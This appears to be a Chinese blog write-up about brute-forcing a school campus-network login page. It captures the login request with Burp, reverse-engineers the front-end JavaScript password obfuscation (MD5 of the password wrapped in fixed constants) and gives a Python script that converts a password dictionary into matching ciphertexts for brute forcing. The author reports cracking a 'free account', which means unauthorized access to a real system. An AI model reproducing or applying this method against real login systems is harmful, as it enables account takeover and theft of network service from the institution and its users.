前言
尝试对学校校园网登录框进行爆破,发现密码在前端被加密了
Burp抓包
抓包信息
DDDDD=2022***&upass=3d5c84b6fb1dc75987884f39c05b0e6a123456782&R1=0&R2=1¶=00&0MKKey=123456&v6ip=
From表单提交上来的文本这些参数,DDDD是用户名,upass是密码,后面的参数意义不明,看样子是MD5加密,尝试输入admin,然后拿到md5解密网站去解密一波看看
根本查不到,所以不是普通的MD5加密,遂开始Js逆向
Js逆向
点击登录按钮,查看堆栈信息,总共调用了两个JS文件
全局搜索Password,定位到这里,但显然这个password并不是用于加密的相关函数,但找了找其他关键字,也没有,索性在这里下一个断点,程序执行到这里时会卡住,
这时点击继续执行代码,点击返回之后,调用堆栈信息多出了一个JS文件a41.js
我们点击跟进,在a41.js中发现function ee()函数,此处下一个断点,这里下断点的原因程序执行完之后会把内存里的变量信息全部丢掉,所以我们要赶在程序没执行完之前去看看变量里面都有些啥,果不其然,定位到了我们输入的源数据,现在已经成功确定了加密算法函数在a41.js中
现在我们把这个a41.js下载下来分析
这段JavaScript代码包含了多个函数,主要用于处理登录逻辑、MD5加密、Base64编码,以及Cookie的设置、获取和删除。
ee()
: 这个函数处理登录时的逻辑。它首先检查用户名和密码是否已输入,然后根据ps
变量的值决定密码是否需要进行MD5加密或Base64编码,最后提交表单。同时,它处理与Cookie相关的逻辑,如保存登录信息。
但是在Js文件的最顶上发现ps是一个常量,所以说代码永远只会进入到else分支
这个分支就是加密的整个逻辑了,pid和cala均为常量,所以tmpchar就等于
2+用户输入+12345678,最终在将tmpchar的值md5加密,然后加上123456782
最后得出结论,
C=密文,M等于明文
C = MD5(2+M+12345678) + 12345678+2
构建Python脚本
知道加密算法之后,就可以批量加密密码来进行爆破了,虽然市面上有Burp的插件(https://github.com/c0ny1/jsEncrypter)
能直接调用JS来返回密文的,但是一点不想写JS文件,遂写了一个Python脚本用来批量加密字典
import hashlib
def md5(input_str):
return hashlib.md5(input_str.encode()).hexdigest()
def generate_payload(source_data):
a = "2"
b = "12345678"
c = md5(a + source_data + b)
payload = c + "123456782"
return payload
def read_data_from_file(file_path):
with open(file_path, 'r') as file:
return file.readlines()
def save_encrypted_data_to_file(encrypted_data, file_path):
with open(file_path, 'w') as file:
for encrypted in encrypted_data:
file.write(f"{encrypted}\n")
def save_original_and_encrypted_data(data_pairs, file_path):
with open(file_path, 'w') as file:
for original, encrypted in data_pairs:
file.write(f"{original.strip()} : {encrypted}\n")
def process_data(input_file, encrypted_file, original_and_encrypted_file):
data_pairs = []
encrypted_data = []
data_lines = read_data_from_file(input_file)
for line in data_lines:
encrypted = generate_payload(line.strip())
data_pairs.append((line.strip(), encrypted))
encrypted_data.append(encrypted)
save_encrypted_data_to_file(encrypted_data, encrypted_file)
save_original_and_encrypted_data(data_pairs, original_and_encrypted_file)
# Example usage
input_file = 'dic.txt'
encrypted_file = 'encrypted_data.txt'
original_and_encrypted_file = 'original_and_encrypted_data.txt'
process_data(input_file, encrypted_file, original_and_encrypted_file)
最后运行效果:
至此Js的逆向就告一段落,把Python脚本加密过的payload,成功爆破出免费账户